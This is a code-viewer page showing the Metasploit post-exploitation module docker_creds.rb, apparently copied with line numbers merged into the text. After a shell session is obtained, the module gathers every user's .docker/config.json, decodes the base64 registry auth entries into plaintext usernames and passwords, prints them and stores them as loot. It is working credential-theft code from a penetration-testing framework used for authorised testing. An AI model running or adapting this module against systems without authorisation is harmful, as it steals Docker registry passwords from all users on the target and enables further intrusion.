Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/docker_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'json'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Unix1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Multi Gather Docker Credentials Collection',16'Description' => %q{17This module will collect the contents of all users' .docker directories on the targeted18machine. If the user has already push to docker hub, chances are that the password was19saved in base64 (default behavior).20},21'License' => MSF_LICENSE,22'Author' => ['Flibustier'],23'Platform' => %w[bsd linux osx unix],24'SessionTypes' => ['shell']25)26)27end2829# This module is largely based on gpg_creds.rb.3031def run32print_status('Finding .docker directories')33paths = enum_user_directories.map { |d| d + '/.docker' }34# Array#select! is only in 1.935paths = paths.select { |d| directory?(d) }3637if paths.nil? || paths.empty?38print_error('No users found with a .docker directory')39return40end4142download_loot(paths)43end4445def download_loot(paths)46print_status("Looting #{paths.count} directories")47paths.each do |path|48path.chomp!49file = 'config.json'50target = "#{path}/#{file}"5152if file? target53print_status("Downloading #{target} -> #{file}")54extract(target)55end56end57end5859def extract(target)60file = read_file(target)61parsed = JSON.parse(file)62if parsed['auths']63parsed['auths'].each do |key, value|64vprint_status("key: #{key}")65value.each do |k, v|66next unless k == 'auth'6768plain = Rex::Text.decode_base64(v)69next unless plain.include? ':'7071print_good("Found #{plain}")72username, password = plain.split(':')73credential_data = {74origin_type: :import,75module_fullname: fullname,76filename: target,77workspace_id: myworkspace_id,78service_name: 'docker',79realm_value: key,80realm_key: Metasploit::Model::Realm::Key::WILDCARD,81private_type: :password,82private_data: password,83username: username84}85create_credential(credential_data)8687print_good('Saved credentials')88end89end90else91print_status('No credentials found in config file')92end93end94end959697